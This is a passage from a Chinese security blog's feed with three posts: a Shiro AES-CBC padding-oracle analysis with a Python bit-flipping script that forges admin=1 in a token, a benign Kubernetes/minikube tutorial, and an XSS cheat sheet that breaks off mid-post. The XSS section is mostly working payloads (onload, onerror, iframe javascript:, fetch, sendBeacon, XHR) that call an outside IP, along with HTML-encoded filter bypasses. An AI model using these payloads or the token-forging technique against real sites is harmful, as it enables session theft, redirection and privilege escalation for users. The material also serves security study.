&lt;pre&gt;&lt;code&gt;CxqINaQ/fnirQRly5NeWJDp/SuLs6prxN3isjke+yk73vLeb23p9+PuJrOmXv3FHqturWTlrOB8GrKDv+UVd+QU1ZGhiBbvVbQ+qyqBh1knr9HjtP8YyOxdt3w20OHQ9Jc8VCsnRJ61+EbEokkjTu6L7CC7liXDVGundIZf/B3THJEUTfDJQZ1j1tQJ8CAIyKkD3zvyp1P7+wEjABg78E4fUL0MkYA4qelyQbV2DdPfZ6QmAWZEnnONXdPnM9pyqN7afhgUeZTywuS9yHp4toH7fx96fQmCWCm6q3cPjRQKSQdcNRygNALFjwiXkrd11lWxsbASxulQynL+DLN0osKP2ZSLevE9zSlGsoaj+KMs+44vdGs4Q6Ew32TuNYasNalFsVzfJXM4AAOa+0uR8LExgKoiYLit9uh4wDm67GApB0t6O+KeIspkyoTPeZnpVATzzJVErolB7kGpZfzNuQVpECkDCQ8dBs6H8BXZZPTOTMtuoEQprUst8K/WSrc52
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正常情况下返回包的值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768629032993.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果我随便修改一些字节，就会 deleteMe&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768629013954.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来看一下为什么会这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768629444014.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下断点，然后在 bp 中任意修改一字节，发送请求，然后回到 idea。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768629611002.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CBC 模式，PKCS5Padding 填充，128 位 16 字节的 iv ，取整体密文的前 16 位。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ 11, 26, -120, 53, -92, 63, 126, 120, -85, 65, 25, 114, -28, -41, -106, 36 ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;encrypted_data 为剩下的 368 字节&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[58, 127, 74, 226, 236, 234, 154, 241, 55, 120, 172, 142, 71, 190, 202, 78, 247, 188, 183, 155, 219, 122, 125, 248, 251, 137, 172, 233, 151, 191, 113, 71, 170, 219, 171, 89, 57, 107, 56, 31, 6, 172, 160, 239, 249, 69, 93, 249, 5, 53, 100, 104, 98, 5, 187, 213, 109, 15, 170, 202, 160, 97, 214, 73, 235, 244, 120, 237, 63, 198, 50, 59, 23, 109, 223, 13, 180, 56, 116, 61, 37, 207, 21, 10, 201, 209, 39, 173, 126, 17, 177, 40, 146, 72, 211, 187, 162, 251, 8, 46, 229, 137, 112, 213, 26, 233, 221, 33, 151, 255, 7, 116, 199, 36, 69, 19, 124, 50, 80, 103, 88, 245, 181, 2, 124, 8, 2, 50, 42, 64, 247, 206, 252, 169, 212, 254, 254, 192, 72, 192, 6, 14, 252, 19, 135, 212, 47, 67, 36, 96, 14, 42, 122, 92, 144, 109, 93, 131, 116, 247, 217, 233, 9, 128, 89, 145, 39, 156, 227, 87, 116, 249, 204, 246, 156, 170, 55, 182, 159, 134, 5, 30, 101, 60, 176, 185, 47, 114, 30, 158, 45, 160, 126, 223, 199, 222, 159, 66, 96, 150, 10, 110, 170, 221, 195, 227, 69, 2, 146, 65, 215, 13, 71, 40, 13, 0, 177, 99, 194, 37, 228, 173, 221, 117, 149, 108, 108, 108, 4, 177, 186, 84, 50, 156, 191, 131, 44, 221, 40, 176, 163, 246, 101, 34, 222, 188, 79, 115, 74, 81, 172, 161, 168, 254, 40, 203, 62, 227, 139, 221, 26, 206, 16, 232, 76, 55, 217, 59, 141, 97, 171, 13, 106, 81, 108, 87, 55, 201, 92, 206, 0, 0, 230, 190, 210, 228, 124, 44, 76, 96, 42, 136, 152, 46, 43, 125, 186, 30, 48, 14, 110, 187, 24, 10, 65, 210, 222, 142, 248, 167, 136, 178, 153, 50, 161, 51, 222, 102, 122, 85, 1, 60, 243, 37, 81, 43, 162, 80, 123, 144, 106, 89, 127, 51, 110, 65, 90, 68, 10, 64, 194, 67, 199, 65, 179, 161, 252, 5, 118, 89, 61, 51, 147, 50, 219, 168, 17, 10, 107, 82, 203, 124, 43, 245, 146, 173, 206, 118]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;key(实际情况下未知)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ -112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104 ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768630383356.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768630598131.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;构建一个 cipher 实例，streaming :false 块处理，包装 key 和 iv 然后初始化 cipher 的一些参数&lt;img src=&quot;QQ_1768630914079.png&quot; alt=&quot;img&quot; /&gt;继续跟进 cipher.doFinal(bytes)。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768631227654.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里去填充，发现去填充失败，没能使得最后一位为 0x01 ，抛出错误，最后给 reemberMe 赋值 deleteMe，正常 padding 成功没有这个。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768631388172.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来是能够通过遍历 0x01 -- 0xff 从而逐步算出中间值，继而与初始前一组密文异或得到明文。&lt;/p&gt;
&lt;h4&gt;CBC 字节翻转&lt;/h4&gt;
&lt;p&gt;CBC mode 下，密文经过解密得到中间值，再与前一个块的密文异或得到当前块的明文&lt;/p&gt;
&lt;p&gt;cipher_i  --&amp;gt;  decrypt --&amp;gt; intermediateValue_i --&amp;gt; xor cipher_i-1  --&amp;gt;  plainText_i&lt;/p&gt;
&lt;p&gt;$$
I_i[k] = decrypt(C_i[k])
$$&lt;/p&gt;
&lt;p&gt;$$
P_i[k] = I_i[k] \oplus C_{i-1}[k]
$$&lt;/p&gt;
&lt;p&gt;想要修改 P_i[k] ，假设初始 p_i[k] 为 p_i[k]old , 目标值为 p_i[k]new，c_i-1[k] 也分 old new。
$$
I_i[k] = I_i[k] \oplus C_{i-1}[k] \oplus C_{i-1}[k] = P_i[k]old \oplus C_{i-1}[k]old
$$
现在期望得到的是 p_i[k]new (已知)。
$$
p_i[k]new = I_i[k] \oplus c_{i-1}[k]new = P_i[k]old \oplus C_{i-1}[k]old \oplus c_{i-1}[k]new
$$
需要算出修改 c_{i-1}[k]old 修改后的值 c_{i-1}[k]new
$$
C&apos;&lt;em&gt;{i-1}[k] = C&lt;/em&gt;{i-1}[k] \oplus P_i[k]&lt;em&gt;{old} \oplus P_i[k]&lt;/em&gt;{new}
$$&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os

# 使用 decrypt_token 模拟服务端解密， Key IV 未知
KEY = os.urandom(16)
IV = os.urandom(16)
BLOCK_SIZE = 16

def get_encrypted_token():
    plaintext = b&apos;A&apos; * 16 + b&apos;user:999;admin=0&apos;
    plaintext = pad(plaintext, BLOCK_SIZE)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

def decrypt_token(ciphertext):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    plaintext = cipher.decrypt(ciphertext)
    return plaintext


# 获取原始密文
original_ciphertext = get_encrypted_token()
print(f&quot;[+] original ciphertext: {original_ciphertext.hex()}&quot;)

modified_ciphertext = bytearray(original_ciphertext)

# 要将 admin=0 改为 admin=1
target_block_index = 1 # 目标在 Block 1 
byte_index_in_block = 15 # 目标字节在块内的偏移量

# 需要修改 Block i-1 的密文
prev_block_start = (target_block_index - 1) * BLOCK_SIZE
target_byte_addr = prev_block_start + byte_index_in_block


C_old = modified_ciphertext[target_byte_addr] # C_{i-1}[k]
P_old = ord(&apos;0&apos;)                              # P_i[k]_old
P_new = ord(&apos;1&apos;)                              # P_i[k]_new

# 计算新的密文这一字节
C_new = C_old ^ P_old ^ P_new
modified_ciphertext[target_byte_addr] = C_new
# modified_ciphertext_list = list(modified_ciphertext)
print(f&quot;[+] modified ciphertext: {modified_ciphertext.hex()}&quot;)
print(f&quot;\n[+] send fixed ciphertext to server...&quot;)
decrypted_plaintext = decrypt_token(bytes(modified_ciphertext))

block1_decrypted = decrypted_plaintext[:16]
block2_decrypted = decrypted_plaintext[16:]


print(f&quot;Block 1 decrypt result (ruined result block1): {block1_decrypted}&quot;)
print(f&quot;Block 2 decrypt result (attack success block2): {block2_decrypted}&quot;)


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768625305826.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;admin = 1 ,前一个明文块变成乱码因为修改了它密文中一个字节。&lt;/p&gt;
&lt;p&gt;后续的修复方案是把 cbc mode 改为了 gcm mode ,修复了 padding oracle 。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;参考资料&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/&lt;/p&gt;
</content:encoded></item><item><title>kubernetes</title><link>https://fuwari.vercel.app/posts/post4-kubernetes/kubernetes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post4-kubernetes/kubernetes/</guid><description>CTF</description><pubDate>Sun, 14 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;kubernetes&lt;/h3&gt;
&lt;p&gt;一个容器编排系统，能够把很多台服务器资源当作一个资源池，用统一的方式实现部署，扩容缩容，滚动升级，故障自愈，网络暴露。我们可以声明要几个副本，暴露什么服务，滚动升级的策略是什么。然后 k8s 通过不断对比期望状态 spec 和实际状态，自动执行操作将实际状态拉回期望状态。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;可以把 Pod 放在合适的服务器（worker 节点）通过 cpu / 内存状态，亲和状态等&lt;/li&gt;
&lt;li&gt;容器或者节点挂了可以自动重启，并且方便迁移&lt;/li&gt;
&lt;li&gt;方便大量服务滚动升级或者回滚&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251212211051769.png&quot; alt=&quot;image-20251212211051769&quot; /&gt;&lt;/p&gt;
&lt;p&gt;节点是一个虚拟机或者物理机，它在 Kubernetes 集群中充当工作机器。&lt;/p&gt;
&lt;h4&gt;部署应用&lt;/h4&gt;
&lt;h5&gt;1. 安装 minikube&lt;/h5&gt;
&lt;p&gt;minikube 是一种轻量级的 kubernetes 实现，可在本地计算机上创建 虚拟机 或者 docker 并部署仅包含一个节点的简单集群（面向本机开发/学习/测试）生产环境可以使用 kubeadm，提供用于引导集群工作的多种操作， 包括启动、停止、查看状态和删除。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube

minikube version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面是一些集群管理的命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;minikube pause # 暂停 k8s 控制面，不能扩缩 pod 自愈，但是不影响已经部署好的应用。

minikube stop # 停止集群

minikube config set memory xxxx # 更改 minikube 节点默认内存限制，需要重启

minikube addons list # 可安装的 kubernetes 服务

minikube start -p k8s1 --driver=docker # 创建第二个 k8s 集群,命名为 k8s1

minikube profile list # 查看 profiles

# 切换 kubectl 管理哪个集群
kubectl config use-context minikube 
kubectl config use-context k8s1 

minikube delete --all # 删除所有 k8s 集群
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2. 安装 kubctl&lt;/h5&gt;
&lt;p&gt;kubctl 负责通过 kubeconfig 连接到某个 k8s 集群的 API Server，对集群资源执行增删改查（Pod/Deployment/Service/Namespace 等）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;minikube kubectl -- get po -A

### alternatively

### 下载 kubctl 二进制文件
curl -LO &quot;https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl&quot;
### 下载校验和文件
curl -LO &quot;https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl.sha256&quot;
### 校验
echo &quot;$(cat kubectl.sha256)  kubectl&quot; | sha256sum --check
### 正常情况下输出 Kubctl: OK
### 安装 kubctl
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;kubctl 与集群交互&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3. 开始部署&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;minikube start &lt;/code&gt; 启动 k8s 集群&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251212212555491.png&quot; alt=&quot;image-20251212212555491&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果无法正常启动，可以使用 docker 驱动启动集群&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;minikube start --driver=docker
### 配置默认驱动
minikube config set driver docker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;kubctl get po -A&lt;/code&gt;  查看集群所有 Pod&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251212214728316.png&quot; alt=&quot;image-20251212214728316&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本地镜像部署,需要先去导入到 minikube ，如果 driver = docker&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;minikube image load nginx:1.27-alpine
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251213225625584.png&quot; alt=&quot;image-20251213225625584&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后写一个 yaml ,deployment , service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx
spec:
replicas: 2
selector:
  matchLabels:
    app: nginx
template:
  metadata:
    labels:
      app: nginx
  spec:
    containers:
      - name: nginx
        image: nginx:1.27-alpine
        ports:
          - containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: nginx
spec:
selector:
  app: nginx
ports:
  - port: 80
    targetPort: 80

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行良好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251213230329953.png&quot; alt=&quot;image-20251213225625584&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Pod 的 IP 是不稳定的，Pod 重建后 IP 会变；扩缩容时 Pod 会增加/减少。所以提供 Service 来当稳定入口。&lt;/p&gt;
&lt;p&gt;Cluster IP  ,集群内部可访问的虚拟 ip。&lt;/p&gt;
&lt;p&gt;集群内（Pod/Node）访问：&lt;code&gt;http://10.108.8.122:80&lt;/code&gt; 或 &lt;code&gt;http://nginx:80&lt;/code&gt;（走 kube-dns）&lt;/p&gt;
&lt;p&gt;集群外（本机浏览器/外网）不能直接访问这个 IP。&lt;/p&gt;
&lt;p&gt;内部 Endpoints = 这个 Service 实际会把流量转发到哪些后端（通常是 Pod IP:Port）。&lt;/p&gt;
&lt;p&gt;外部 Endpoints =  集群外部如何访问到这个 Service，只在把 Service 暴露到集群外时才会出现。&lt;/p&gt;
&lt;p&gt;service ip 类型&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214135206635.png&quot; alt=&quot;image-20251214135206635&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在只能在集群内部访问 nginx 服务，类似下面这样，想要公开到宿主机或者公网，需要 NodePort / Ingress / LoadBalancer ，也可以 port-forward 转发&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Service ClusterIP:port（10.108.8.122:80）
  |
  v
kube-proxy 规则（iptables/IPVS）
  |
  v
Pod IP:targetPort（10.244.0.8:80 或 10.244.0.9:80）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以通过 docker exec -it minikube集群容器id /bin/bash 进入 node 所在的计算机。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214132008962.png&quot; alt=&quot;image-20251214132008962&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本地，使用 port-forward，8080 是宿主机端口 80 是 service 监听的端口。流量访问 8080,转到 servcie 的 80 ，再到 pod 中的服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl port-forward svc/nginx 8080:80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;感觉是宿主机套 k8s 集群 套 pod (其中有不同的服务监听不同的端口，这些服务共享一个网络栈和存储卷，但是pid 主机命名空间不一样。)&lt;/p&gt;
&lt;p&gt;目前是单节点模式，有一些不太理解的地方，所以又加了一个节点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;minikube node add --worker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个节点都有一个 internal ip ，可以被主机访问到。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214133241976.png&quot; alt=&quot;image-20251214133241976&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在节点计算机上可以去访问 service 的 cluster ip 。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214133347479.png&quot; alt=&quot;image-20251214133347479&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以使用 node-port 模式，删除现有的 svc&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214135848614.png&quot; alt=&quot;image-20251214135848614&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后 kubectl expose 一个 deployment ，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214135957136.png&quot; alt=&quot;image-20251214135957136&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl expose deployment/nginx --type=&quot;NodePort&quot; --port 80
# port 为 pod 内服务监听端口
# 这里感觉一个 pod 只能有一个对外开发端口？（初学不懂这块）
#输出 service/nginx exposed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214141012753.png&quot; alt=&quot;image-20251214141012753&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在主机上访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214141111363.png&quot; alt=&quot;image-20251214141111363&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以扩容 pod 数量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl scale deployments/nginx --replicas=4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214141327731.png&quot; alt=&quot;image-20251214141327731&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看 pod 状态&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214141651536.png&quot; alt=&quot;image-20251214141651536&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现新加的两个 pod  被分配到了新的节点上 ，但是没有 ip 并且启动失败。&lt;/p&gt;
&lt;p&gt;进入新节点，发现 &lt;code&gt;/etc/cni/net.d&lt;/code&gt; 缺少给 Pod 分配网卡/ip 的 &lt;code&gt;.conf/.conflist&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 把 pod 从 m02 node 清除
kubectl drain minikube-m02 --ignore-daemonsets --delete-emptydir-data

# 重建
minikube node delete minikube-m02
minikube node add --worker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214151334823.png&quot; alt=&quot;image-20251214151334823&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在所有 pod 都在 node minikube 中，新建完 minikubem02 。删除完，新建的时候会自动分配到合适的 node。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251214152528295.png&quot; alt=&quot;image-20251214152528295&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Pod&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  name: nginx-service
spec:
  containers:
  - name: nginx-service
    image: nginx
    ports:
    - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当如果创建了很多 pod ,怎么去统一管理，需要用到 Label 标签&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  name: nginx-service
  label:
    app:nginx-service
spec:
  containers:
  - name: nginx-service
    image: nginx
    ports:
    - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;列出标签为  app=nginx_service  的 pod&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl get pods -l app=nginx-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们创建了很多的 pod ，其中运行一特定的服务，并且赋予了其标签 app=service_t ,那么如果有一些 pod 挂了，或者我们发现现有的 pod 不足以完美解决当前的请求量。这里可以使用 deployment 去管理和维护这些运行中的 pod&lt;/p&gt;
&lt;h4&gt;Deployment&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: v1
kind: Deployment
metadata: 
  name: service-spl-deployment
spec:
  replicas: 10 # run 2 pods matching the template
  selector:               # ① 选择器：我要管哪些 Pod
    matchLabels:
      app: service-spl-app
  template:
    metadata:
    # 无 name 字段，因为每个 pod 的名字要不一样
    labels:
      app: service-spl-app # 跟 matchLabels 对应
    spec:
      containers:
      - name: service-spl
        image: service-spl
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;列出所有 deployment&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl get deployment
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>xss</title><link>https://fuwari.vercel.app/posts/post3-xss/xss/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post3-xss/xss/</guid><description>xss</description><pubDate>Tue, 09 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;xss&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DOM 中的事件监听器：如 &lt;code&gt;location&lt;/code&gt;、&lt;code&gt;onclick&lt;/code&gt;、&lt;code&gt;onerror&lt;/code&gt;、&lt;code&gt;onload&lt;/code&gt;、&lt;code&gt;onmouseover&lt;/code&gt; 等,一般在 &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;HTML DOM 标签属性：&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 标签的 &lt;code&gt;href&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;JavaScript 的 &lt;code&gt;eval()&lt;/code&gt;、&lt;code&gt;setTimeout()&lt;/code&gt;、&lt;code&gt;setInterval()&lt;/code&gt; 等&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;标签属性 js 代码执行&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
	code
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;body&lt;/code&gt; 标签(事件监听器)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body onload=&quot;window.open(&apos;http://47.122.64.159:7777/?a=&apos;)&quot;&amp;gt;
&amp;lt;body onload=&quot;fetch(&apos;http://47.122.64.159:7777/?a=&apos;)&quot;&amp;gt;

&amp;lt;body onload=&quot;window.location.href=&apos;http://47.122.64.159/&apos;&quot;&amp;gt;
&amp;lt;body onload=&quot;window.location=&apos;http://47.122.64.159/&apos;&quot;&amp;gt;
&amp;lt;body onload=&quot;location.replace(&apos;http://47.122.64.159/&apos;)&quot;&amp;gt;
  
 &amp;lt;body onload=&quot;window.location.assign(&apos;http://47.122.64.159:7777/?a=&apos;)&quot;&amp;gt;&amp;lt;/body&amp;gt;
    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;img&lt;/code&gt; 标签 (事件监听器)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=1 onxxxx=&quot;fetch(&apos;http://47.122.64.159:7777/?a=&apos;)&quot;&amp;gt;
&amp;lt;img src=1 onerror=&quot;location=&apos;http://47.122.64.159&apos;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;iframe&lt;/code&gt; 标签（&lt;code&gt;src&lt;/code&gt; 标签，事件监听器）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;javascript:alert(1); fetch(&apos;http://47.122.64.159:7777&apos;)&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

&amp;lt;iframe src=1 onerror=&quot;fetch(&apos;http://47.122.64.159:7777&apos;)&quot;&amp;gt; &amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有很多标签，例如：&lt;code&gt; &amp;lt;audio&amp;gt; &amp;lt;video&amp;gt; &amp;lt;svg&amp;gt; &amp;lt;object&amp;gt; &amp;lt;p&amp;gt; &amp;lt;detail&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;部分 &lt;code&gt;js&lt;/code&gt; 代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:code
javascript:fetch(&quot;http://47.122.64.159:7777&quot;)

location=&apos;http://47.122.64.159&apos;
window.location=&apos;http://47.122.64.159/
window.open(&apos;http://47.122.64.159:7777/?a=&apos;)
location.replace(&apos;http://47.122.64.159/&apos;)
window.location.assign(&apos;http://47.122.64.159:7777/?a=&apos;)

var img = new Image();
img.src = &apos;http://47.122.64.159:7777/&apos;;

navigator.sendBeacon(&apos;http://47.122.64.159:7777/&apos;, &apos;data=info&apos;);

var xhr = new XMLHttpRequest();
xhr.open(&apos;GET&apos;, &apos;http://47.122.64.159:7777/&apos;);
xhr.send();
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;常见绕过&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;href&lt;/code&gt;、&lt;code&gt;src&lt;/code&gt; 等加载 &lt;code&gt;URL&lt;/code&gt; 的属性可以使用 &lt;code&gt;HTML&lt;/code&gt;、&lt;code&gt;URL&lt;/code&gt;、&lt;code&gt;JS &lt;/code&gt;编码。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;html&lt;/code&gt; 编码&lt;/p&gt;
&lt;p&gt;十进制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=1 onerror=&quot;&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#102;&amp;amp;#101;&amp;amp;#116;&amp;amp;#99;&amp;amp;#104;&amp;amp;#40;&amp;amp;#34;&amp;amp;#104;&amp;amp;#116;&amp;amp;#116;&amp;amp;#112;&amp;amp;#58;&amp;amp;#47;&amp;amp;#47;&amp;amp;#52;&amp;amp;#55;&amp;amp;#46;&amp;amp;#49;&amp;amp;#50;&amp;amp;#50;&amp;amp;#46;&amp;amp;#54;&amp;amp;#52;&amp;amp;#46;&amp;amp;#49;&amp;amp;#53;&amp;amp;#57;&amp;amp;#58;&amp;amp;#55;&amp;amp;#55;&amp;amp;#55;&amp;amp;#55;&amp;amp;#34;&amp;amp;#41;&quot;&amp;gt;

javascript:fetch(&quot;http://47.122.64.159:7777&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;十六进制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;amp;#x6a -&amp;gt; j

